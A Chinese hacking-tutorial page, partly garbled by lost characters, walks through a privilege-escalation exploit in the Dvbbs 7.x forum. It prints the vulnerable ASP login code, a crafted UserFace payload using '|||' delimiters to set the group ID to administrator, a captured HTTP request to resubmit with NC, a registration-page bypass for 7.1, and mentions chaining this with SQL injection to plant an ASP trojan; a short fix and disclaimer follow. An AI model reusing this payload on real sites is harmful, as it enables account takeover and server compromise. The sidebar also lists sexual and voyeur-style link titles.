设为首页】 【加入收藏】 【网站地图】 【商品折扣
娱乐一生 娱乐明星
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
首页  |  安全动态  |  漏洞分析  |  黑客教程  |  破解教程  |  病毒技术  |  WINDOWS视窗技术  |  DDOS技术  |  安全防护  |  漏洞快递  |  系统防护
当前位置:首页 >> 漏洞分析 >> 动网论坛权限提升漏洞

动网论坛权限提升漏洞 -


在6月份的黑防上看到《动网7.1漏洞惊现江湖》一文,说是admin_postings.a 文件

存在注入漏洞,但利用的前提是拥有超级斑竹或前台管理员权限。我想起以前发现的动网7.x版本存在一个前台权限提升漏洞
正好可以结合起来利用。这个前台权限提升漏洞对7.x的Acce 和 Sql版都有效。下面我们就以7.0  2 sql版,讲解这个漏洞的利用。

漏洞分析
我们知道动网是通过GroupID来判断当前用户所在的组的,然后再通过组的信息判断用户的权限。它是如何取得这个GroupID的呢?让我们看看登录验证的那一段:

login.a 的525行左右

Rem ==========论坛登录函数=========

Rem 判断用户登录

Function ChkUserLogin(username,pa word,mobile,usercookies,ctype)

…………前面的代码省略

Sql=" elect UserID,UserName,UserPa word,UserEmail,UserPost,UserTopic,UserSex,UserFace

,UserWidth,UserHeight,JoinDate,LastLogin,UserLogi ,Lockuser,Usercla ,UserGroupID,UserGroup,

userWealth,userEP,userCP,UserPower,UserBirthday,UserLastIP,UserDel,UserI est,UserHidden,

UserMsg,IsChallenge,UserMobile,TitlePic,UserTitle,TruePa Word,UserToday "

Sql=Sql+" From [Dv_User] Where " am qlstr&am quot quot;

set rsUser=Dv .Execute(sql)

If rsUser.eof and rsUser.bof Then

ChkUserLogin=false

Exit Function

Else

iMyUserInfo=rsUser.GetString(,1, "|||", " quot;, " quot;)

rsUser.Close:Set rsUser = Nothing

End If

iMyUserInfo = "Dv |||" am  Now &am  "|||" &am  Now &am quot;|||" am  Dv .BoardID &am quot;|||" am 

iMyUserInfo &am quot;||||||Dv quot;

iMyUserInfo =  lit(iMyUserInfo,"|||")

If trim(pa word)< gt;trim(iMyUserInfo(6)) Then

ChkUserLogin=false

ElseIf iMyUserInfo(17)=1 Then

ChkUserLogin=false

ElseIf iMyUserInfo(19)=5 Then

ChkUserLogin=false

Else

ChkUserLogin=True

Se ion(Dv .CacheName &am  "UserID") = iMyUserInfo

Dv .UserID = iMyUserInfo(4)

RegName = iMyUserInfo(5)

Article = iMyUserInfo(8)

UserLastLogin = iMyUserInfo(15)

UserCla  = iMyUserInfo(18)

GroupID = iMyUserInfo(19)

TitlePic = iMyUserInfo(34)

If Article<0 Then Article=0

End If

…………后面的代码省略

可以看到,动网将用户的信息先用”|||”三个竖线连起来,做为一个字符串传给iMyUserInfo,然后iMyUserInfo由”|||”分隔成一个字符串数组。
用户密码验证正确后就把数组的第20个元素的值:iMyUserInfo(19) 赋给GroupID。看到没,GroupID只是数组对应的第20个元素的值,
如果iMyUserInfo(19)的值为1的话,动网就以为现在登录的用户是前台管理员了。

在inc目录下的Dv_ClsMain.a 文件中也有这么验证用户身份的一段代码,用来在用户更新信息后检测用户的权限。

Dv_ClsMain.a 的650行左右

Public Sub TrueCheckUserLogin()

……前面的省略

Dim Rs,SQL

Sql=" elect UserID,UserName,UserPa word,UserEmail,UserPost,UserTopic,UserSex,

UserFace,UserWidth,UserHeight,JoinDate,LastLogin,UserLogi ,Lockuser,Usercla ,UserGroupID,

UserGroup,userWealth,userEP,userCP,UserPower,UserBirthday,UserLastIP,UserDel,UserI est,

UserHidden,UserMsg,IsChallenge,UserMobile,TitlePic,UserTitle,TruePa Word,UserToday"

Sql=Sql+" From [Dv_User] Where UserID = " &am  UserID

Set Rs = Execute(Sql)

If Rs.Eof And Rs.Bof Then

Rs.Close:Set Rs = Nothing

UserID = 0

EmptyCookies

LetGuestSe ion()

Else

MyUserInfo=Rs.GetString(,1, "|||"," quot;," quot;)

Rs.Close:Set Rs = Nothing

If IsArray(Se ion(CacheName &am  "UserID")) Then

MyUserInfo = "Dv |||" am  Now &am  "|||" &am  Se ion(CacheName &am  "UserID")(2) &am quot;|||" am  BoardID &am quot;|||" am  MyUserInfo &am quot;||||||Dv quot;

Else

MyUserInfo = "Dv |||" am  Now &am  "|||" &am  DateAdd(" quot;,-3600,Now()) &am quot;|||" am  BoardID &am quot;|||" am  MyUserInfo &am quot;||||||Dv quot;

End IF

Re o e.Write MyUserInfo

MyUserInfo =  lit(MyUserInfo,"|||")

……

End If

End Sub

'用户登录成功后,采用本函数读取用户数组并判断一些常用信息

Public Sub GetCacheUserInfo()

MyUserInfo = Se ion(CacheName &am  "UserID")

UserID = Clng(MyUserInfo(4))

MemberName = MyUserInfo(5)

Lastlogin = MyUserInfo(15)

If Not IsDate(LastLogin) Then LastLogin = Now()

UserGroupID = Cint(MyUserInfo(19))

    ……后面代码省略

 两处检验的方式一模一样,所以我们可以利用这两个中的任意一个来达到我们的目的。看它的sql语句部分:

Sql=" elect UserID,UserName,UserPa word,UserEmail,UserPost,UserTopic,UserSex,UserFace,UserWidth,UserHeight,JoinDate,
LastLogin,UserLogi ,Lockuser,Usercla ,UserGroupID,UserGroup,userWealth,userEP,userCP,UserPower,UserBirthday,
UserLastIP,UserDel,UserI est,UserHidden,UserMsg,IsChallenge,UserMobile,TitlePic,UserTitle,TruePa Word,UserToday"

Sql=Sql+" From [Dv_User] Where UserID = " &am  UserID

UserGroupID字段排在第16个,只要我们前面的一个字段的数据中含有”|||”,那么UserGroupID在MyUserInfo这个字符串数组的位置就改变了。
对这个字段选取有些特殊的要求,字段类型要合适,不能为数字型,字段的长度要可以容纳下我们构造的数组,并且还得是上面sql语句中排在UserGroupID前面的字段,
这样才能使构造的数组改变原来数组中UserGroupID的位置。对照图(1),

我们能利用的就只有UserEmail、UserFace这两个字段了。由于IsValidEmail函数的存在,我们没法在UserEmail字段中插入’|’,所以能利用的就只有UserFace字段了。

在基本资料修改时,动网只过滤了sql注入用的几个符号,没有过滤掉’|’,所以只要我们构造出正确的字符串,就可以骗过动网,成为管理员组的用户了。

  face=Dv_FilterJS(replace(face,"'"," quot;))

face=Replace(face,".."," quot;)

face=Replace(face,"\","/")

face=Replace(face,"^"," quot;)

face=Replace(face,"#"," quot;)

face=Replace(face,"%"," quot;)

漏洞的利用
如何构造这个UserFace来达到我们的目的呢?最开始我以为只要iMyUserInfo(19)为1就可以是管理员了,但一直没有成功。
其实我们在构造这个UserFace时还要考虑到一点,我们已经改变了iMyUserInfo数组的结构,
我们必须保证新的iMyUserInfo数组的前面一部分的结构和原数组结构一模一样,否则就会出现类型转换错误,比如UserBirthday,
在新的数组中该字段位置的值必须为一个日期。我们可以直接拿一个正常的iMyUserInfo的后半部分做我们的UserFace值,然后将UserGroupID位置改为一。
我修改了login.a 文件,让它在用户登录时显示当前用户的iMyUserInfo的内容,见图(2)

例如admin(不一定非得是admin的,其他用户的也行,只要UserGroupID处改为1就行了)登录时的iMyUserInfo的值为:

Dv |||2005-6-1918:05:34|||2005-6-19 18:05:34|||0|||1|||admin|||469e80d32c0559f8|||

eway@a ky.net|||4|||1|||0|||images/userface/image1.gif|||32|||32|||2003-12-30 16:34:00|||2005-6-1918:04:06|||25|||0|||管理员|||1||||||120|||115|||28|||0||||||210.41.235.200

|||0|||0|||0||||||0||||||level10.gif||||||9pc722664t5w7IM7|||0|0|0 ||||||Dv 

我们可以取

images/userface/image1.gif|||32|||32|||2003-12-30 16:34:00|||2005-6-19 18:04:06|||25|||0|||管理员|||1||||||120|||115|||28|||0||||||210.41.235.200|||0|||0|||0||||||0||||||level10.gif||||||9pc722664t5w7IM7|||0|0|0 ||||||Dv 

做我们的UserFace值,要注意这个值的长度不能超过255个字符。动网限制了我们提交的字符为100个,我们可以用NC来提交。


先在本机测试一下,用普通用户登录动网,现在用户等级还是新手上路如图(3)。

好了,我们去修改基本信息的地方如图(4)


提交,用wse抓下这个包,如图(5)。

截取到的包如下:

POST / /mymodify.a ?action=updat&am username=4 HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, a lication/x-shockwave-flash, a lication/vnd.ms-excel, a lication/vnd.ms-powerpoint, a lication/msword, */*

Referer: http:210.41.235.199/ /mymodify.a 

Accept-Language: zh-cn

Content-Type: a lication/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)

Host: 210.41.235.199

Content-Length: 396

Co ection: Keep-Alive

Cache-Control: no-cache

Cookie: 210%2E41%2E235%2E199%2F %2F=usercookies=0&am tatUserID=21048347059&am a word=fVIy4l887ZvD956c&am userhidden=&am username=test&am usercla =%D0%C2%CA%D6%C9%CF%C2%B7&am userid=4; u um=0; A E IONIDASCDABTA=IEGHDLKCCHDMO FPFFHMNAM

title=&am ex=1&am face=Images%2Fuserface%2Fimage1.gif&am myface=Images%2Fuserface%2Fimage1.gif&am width=32&am height=32&am irthday=&am userphoto=&am Grou ame=%CE%DE%C3%C5%CE%DE%C5%C9&am ignature=&am howRe=0&am usercookies=0&am etuserinfo=1&am etusertrue=0&am realname=&am ersonal=&am country=&am userphone=&am addre =&am rovince=&am electp=0&am city=&am electc=0&am hengxiao=&am lood=&am elief=&am occupation=&am marital=&am education=&am college=&am ubmit=%B8%FC+%D0%C2

好,我们把userface的值给替换成

images/userface/image1.gif|||32|||32|||2003-12-30%2016:34:00|||2005-6-19%2018:04:06|||25|||0|||管理员|||1||||||120|||115|||28|||0||||||210.41.235.200|||0|||0|||0||||||0||||||level10.gif||||||

9pc722664t5w7IM7|||0|0|0 ||||||Dv 

要注意中间的空格替换成%20,重新计算Content-Length的值,然后用NC提交一次,我们这个用户的userface就替换过来了,如图六。我们现在再重新登陆看看(图(7,8))




哈哈,看到了吗?我们已经是管理员了。再利用《动网7.1漏洞惊现江湖》一文中的漏洞就可以添加后台管理员了。

动网7.1利用方法
动网的7.1版利用这个漏洞的方法有点小变化,难度也比7.0  2要大。7.1版中加入了对face变量中的’|’符号的过滤

mymodify.a 文件中的270行附近:

face=Dv_FilterJS(Replace(face,"'"," quot;))

face=Replace(face,".."," quot;)

face=Replace(face,"\","/")

face=Replace(face,"^"," quot;)

face=Replace(face,"#"," quot;)

face=Replace(face,"%"," quot;)

face=Replace(face,"|"," quot;)

可惜的是动网的程序员百密而一疏,忘了注册时也可以修改头像,在reg.a 中就没有对face变量做任何的过滤

Reg.a 文件的285行附近

If Request.form("face")< gt quot quot; Then

face=Request.form("face")

End If

同样,还是先抓包后用NC提交。注册登录后就是前台管理员了。但还要一个问题,就是Truepa word问题。7.1中加强了对cookie欺骗的防范,所以这个truepa word变化的太频繁了。在7.0 2的newpa .a 中,只有一个更新当前用户turepa word的指令:

7.0  2的newpa .a 文件

<!--#include file="co .a quot;-->

<!--#include file="inc/co t.a quot;-->

<%

Dv .NewPa word0()

%>

而在7.1中,newpa .a 还会检查用户的cookies是否更新

7.1 newpa .a 文件的30行左右

'检查写入是否成功如果成功则更新数据

If Dv .checkStr(Trim(Request.Cookies(Dv .Forum_ )(" a word")))=TruePa Word Then

Dv .Execute("UpDate [Dv_user] Set TruePa Word='" am TruePa Word&am quot;' where UserID=" am Dv .UserID)

Dv .MemberWord = TruePa Word

Dim iUserInfo

iUserInfo = Se ion(Dv .CacheName &am  "UserID")

iUserInfo(35) = TruePa Word

Se ion(Dv .CacheName &am  "UserID") = iUserInfo

End If

在7.1中,我们的客户端的cookies中的truepa word被更新成新的truepa word,由于服务器端的truepa word也是从MyUserInfo中得来的,而MyUserInfo中的truepa word值是不会改变的,在检测时就会形成一个死循环。我们的解决的办法是用cookies锁定,用桂林老兵的浏览器锁定我们的cookies,之前得将cookies中的truepa word值设成和MyUserInfo中的truepa word值一致。这样就不会重复请求newpa .a 进入死循环了。

由于手头上没有7.1的sql版的代码,所以上面是在7.1的Acce 版下测试的,可以成功的成为前台的管理员。

后记

漏洞的防范方法:改数据库结构的工程大了点,建议在reg.a 和mymodify.a 中加入对相应变量的”|”符号进行过滤,比如:

face=Dv_FilterJS(Replace(face,"'"," quot;))

face=Replace(face,".."," quot;)

face=Replace(face,"\","/")

face=Replace(face,"^"," quot;)

face=Replace(face,"#"," quot;)

face=Replace(face,"%"," quot;)

face=Replace(face,"|"," quot;)

还想提一点,动网太信任后台的管理员了,所以在后台的很多地方都没有对sql注入进行防范,这就形如给我们开了一个sql注入之门。我们曾经检测的一个网站,设置的非常BT。上面用的就是dv 的论坛。当我们取得了dv 的后台管理员权限时才发现上传目录没有执行权限,a 木马传上去了又原样返回。而由执行a 权限的目录又没有写入的权限。网站上又没有其他的站点可以注入。后来发现dv 后台有注入后才总算得到一匹小马。真是千里之堤,溃于蚁穴啊。

哆嗦一句,这个权限提升漏洞没有太高深的技巧,但后果是非常严重的。由于前台管理的多个页面存在sql注入,所以这个漏洞对dv  7.x sql版的危害非常大。请不要用本文的方法做破坏行为,否则后果自负。



 

娱乐图摘

更多 >>

靓丽清纯美女meimei

美女私房全裸照
导演劝女演员脱衣服(视频)

大胆火辣人体艺术写真(图)

黑丝妹妹热辣诱惑-丝袜美女妹妹

PLMM 漂亮妹妹图集-妹妹图库

全球美女图库-美女集中营

52MM 我爱漂亮妹妹-制服妹妹诱惑

图王图库-世界美女明星图片资料库
美女写真集锦

激情两性-解密性生活
浴室MM湿身内衣诱惑
邻家小妹洗澡被偷拍(视频)

热点文章

更多

· 关于9行代码导致系统崩溃的分析整理
· DMS POP3 Server远程缓冲区溢出漏洞
· A 常见的安全漏洞
· sendmail漏洞攻击程序C源代码
·  XP多个文件存在Sql Injection漏洞
· Microsoft Java虚拟机任意代码执行漏洞
· CoffeeCup FTP客户端远程缓冲区溢出漏洞
· 将dv 送进地狱
· MyPHP Forum 1.0 SQL Injection
· Microsoft Internet连接防火墙默认允许IPv

热点文章

更多